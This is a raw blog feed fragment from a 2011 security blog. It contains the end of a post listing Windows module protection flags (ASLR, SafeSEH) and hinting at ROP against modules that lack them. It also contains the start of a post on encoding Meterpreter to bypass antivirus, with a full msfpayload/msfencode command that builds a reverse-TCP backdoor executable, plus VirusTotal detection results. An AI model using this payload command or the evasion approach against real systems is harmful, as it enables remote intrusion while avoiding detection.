0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x69A80000 | 0x69B30000 | 0x000B0000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - bthprops.cpl : C:\Windows\System32\bthprops.cpl&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; | 0x6EEC0000 | 0x6EEE2000 | 0x00022000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.3.8 - libapr_tsvn.dll : C:\Program Files\TortoiseSVN\bin\libapr_tsvn.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74DA0000 | 0x74DB9000 | 0x00019000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - srvcli.dll : C:\Windows\system32\srvcli.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71F90000 | 0x71FBD000 | 0x0002D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 3.91.2 - rarext.dll : C:\Program Files\WinRAR\rarext.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73690000 | 0x736C6000 | 0x00036000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - AUDIOSES.DLL : C:\Windows\system32\AUDIOSES.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73AA0000 | 0x73B52000 | 0x000B2000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - DUI70.dll : C:\Windows\system32\DUI70.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6B550000 | 0x6B6E8000 | 0x00198000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - NetworkExplorer.dll : C:\Windows\system32\NetworkExplorer.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x020A0000 | 0x0216A000 | 0x000CA000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.6.11.20210 - TortoiseSVN.dll : C:\Program Files\TortoiseSVN\bin\TortoiseSVN.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x734B0000 | 0x734D1000 | 0x00021000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ntmarta.dll : C:\Windows\system32\ntmarta.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x04320000 | 0x04334000 | 0x00014000 |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 4.65 - 7-zip.dll : C:\Program Files\7-Zip\7-zip.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75DB0000 | 0x75E5C000 | 0x000AC000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 7.0.7600.16385 - msvcrt.dll : C:\Windows\system32\msvcrt.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73E60000 | 0x73E66000 | 0x00006000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - IconCodecService.dll : C:\Windows\system32\IconCodecService.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6AC60000 | 0x6AD1A000 | 0x000BA000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - Actioncenter.dll : C:\Windows\System32\Actioncenter.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75E60000 | 0x75EFD000 | 0x0009D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 1.0626.7600.16385 - USP10.dll : C:\Windows\system32\USP10.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74E10000 | 0x74E18000 | 0x00008000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - Secur32.dll : C:\Windows\system32\Secur32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75230000 | 0x75242000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - DEVOBJ.dll : C:\Windows\system32\DEVOBJ.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E540000 | 0x6E591000 | 0x00051000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WINSPOOL.DRV : C:\Windows\system32\WINSPOOL.DRV&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71AA0000 | 0x71AE8000 | 0x00048000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wwanapi.dll : C:\Windows\system32\wwanapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6AD20000 | 0x6AE3A000 | 0x0011A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wscui.cpl : C:\Windows\System32\wscui.cpl&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74770000 | 0x747AB000 | 0x0003B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - rsaenh.dll : C:\Windows\system32\rsaenh.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72510000 | 0x72775000 | 0x00265000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - netshell.dll : C:\Windows\System32\netshell.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73700000 | 0x7370E000 | 0x0000E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - AltTab.dll : C:\Windows\System32\AltTab.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75700000 | 0x7578F000 | 0x0008F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16567 - OLEAUT32.dll : C:\Windows\system32\OLEAUT32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x042D0000 | 0x042E7000 | 0x00017000 |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 0.1 - NppShell_01.dll : C:\Program Files\Notepad++\NppShell_01.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75570000 | 0x75611000 | 0x000A1000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - RPCRT4.dll : C:\Windows\system32\RPCRT4.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72FC0000 | 0x72FD4000 | 0x00014000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 3.05.2284 - ATL.DLL : C:\Windows\system32\ATL.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73750000 | 0x7375F000 | 0x0000F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wkscli.dll : C:\Windows\system32\wkscli.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E2F0000 | 0x6E34A000 | 0x0005A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - netprofm.dll : C:\Windows\System32\netprofm.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73530000 | 0x73568000 | 0x00038000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SndVolSSO.DLL : C:\Windows\system32\SndVolSSO.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72380000 | 0x72397000 | 0x00017000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - QUtil.dll : C:\Windows\System32\QUtil.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74110000 | 0x742C7000 | 0x001B7000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - authui.dll : C:\Windows\system32\authui.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73E30000 | 0x73E42000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SAMLIB.dll : C:\Windows\system32\SAMLIB.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6AE40000 | 0x6AEAF000 | 0x0006F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ntshrui.dll : C:\Windows\system32\ntshrui.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76F50000 | 0x76F53000 | 0x00003000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - Normaliz.dll : C:\Windows\system32\Normaliz.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp; ----------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Interesting also, i didn&#39;t see it before, tortoise svn extensions, 7zip and notepad++ are with no aslr enabled, rop anyone ? :)</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/1288015346318237411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/01/checking-aslr-safeseh-and-more.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/1288015346318237411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/1288015346318237411'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/01/checking-aslr-safeseh-and-more.html' title='checking aslr, safeseh and more'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcrpGdoluI7TuOyEYZptFk8X1FAm4MLv4BVelhxWerX-trX6XEA1xKfYmh0JTRt8vN9m8jc7AnJ2wREFvRnXelkRy_41z4vi0K8R1UjwUUcSs8CzkGhBk76HHHKr8Jxa3Bi5kKsIyCu3Hn/s72-c/1pvefindaddr.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-8961858436956628931</id><published>2011-01-15T11:54:00.000+02:00</published><updated>2011-01-15T11:54:55.899+02:00</updated><title type='text'>meterpreter xor for further av bypass</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;Still on holidays here, and in between sake, beer and shochu i found some time to read and check some things that i wanted to do for some time now. One of that was how to implement a simple binary xor in an .exe file especially for meterpreter. Meterpreter is great tool but is being detected from antivirus engines and that makes it difficult to use it as a standard payload.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Simple way to create one meterpreter binary that will connect back on ip 192.168.11.7:&lt;/div&gt;&lt;br /&gt;
C:\framework\msf3&amp;gt;ruby msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.11.7 R | ruby msfencode -t exe -o meter_rever_tcp_192.exe -e x86/shikata_ga_nai&lt;br /&gt;
-c 2&lt;br /&gt;
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)&lt;br /&gt;
&lt;br /&gt;
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)&lt;br /&gt;
&lt;br /&gt;
C:\framework\msf3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Virustotal result on the binary:&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;div style=&quot;display: inline; float: left; width: 120px;&quot;&gt;Result:&lt;/div&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;detected&quot; style=&quot;color: red;&quot;&gt;15&lt;/span&gt;/&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span id=&quot;status-total&quot;&gt;37 (40.5%) HASH &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;,Courier,mono; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;0f5298c9572ed0db233b2632aa6068a7&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;,Courier,mono; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;,Courier,mono; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;With the following av engines detecting the binary:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;,Courier,mono; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Antivirus&amp;nbsp;&amp;nbsp; &amp;nbsp;Version&amp;nbsp;&amp;nbsp; &amp;nbsp;Last Update&amp;nbsp;&amp;nbsp; &amp;nbsp;Result&lt;br /&gt;
AhnLab-V3&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.15.00&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Trojan/Win32.Shell&lt;br /&gt;
AntiVir&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;7.11.1.144&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;TR/Crypt.EPACK.Gen2&lt;br /&gt;
BitDefender&amp;nbsp;&amp;nbsp; &amp;nbsp;7.2&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.15&amp;nbsp;&amp;nbsp; &amp;nbsp;Backdoor.Shell.AC&lt;br /&gt;
Command&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;5.2.11.5&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;W32/Swrort.A.gen!Eldorado&lt;br /&gt;
eTrust-Vet&amp;nbsp;&amp;nbsp; &amp;nbsp;36.1.8100&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Win32/Swrort.A!generic&lt;br /&gt;
F-Prot&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;4.6.2.117&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;W32/Swrort.A.gen!Eldorado&amp;nbsp;&amp;nbsp; &amp;nbsp;-&lt;br /&gt;
GData&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;21&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.15&amp;nbsp;&amp;nbsp; &amp;nbsp;Backdoor.Shell.AC&lt;br /&gt;
K7AntiVirus&amp;nbsp;&amp;nbsp; &amp;nbsp;9.75.3548&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Riskware&lt;br /&gt;
Microsoft&amp;nbsp;&amp;nbsp; &amp;nbsp;1.6402&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Trojan:Win32/Swrort.A&lt;br /&gt;
NOD32&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;5788&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;a variant of Win32/Rozena.AA&lt;br /&gt;
nProtect&amp;nbsp;&amp;nbsp; &amp;nbsp;2011-01-14.01&amp;nbsp;&amp;nbsp; &amp;nbsp;2011.01.14&amp;nbsp;&amp;nbsp; &amp;nbsp;Backdoor.Shell.AC&lt;br /&gt;
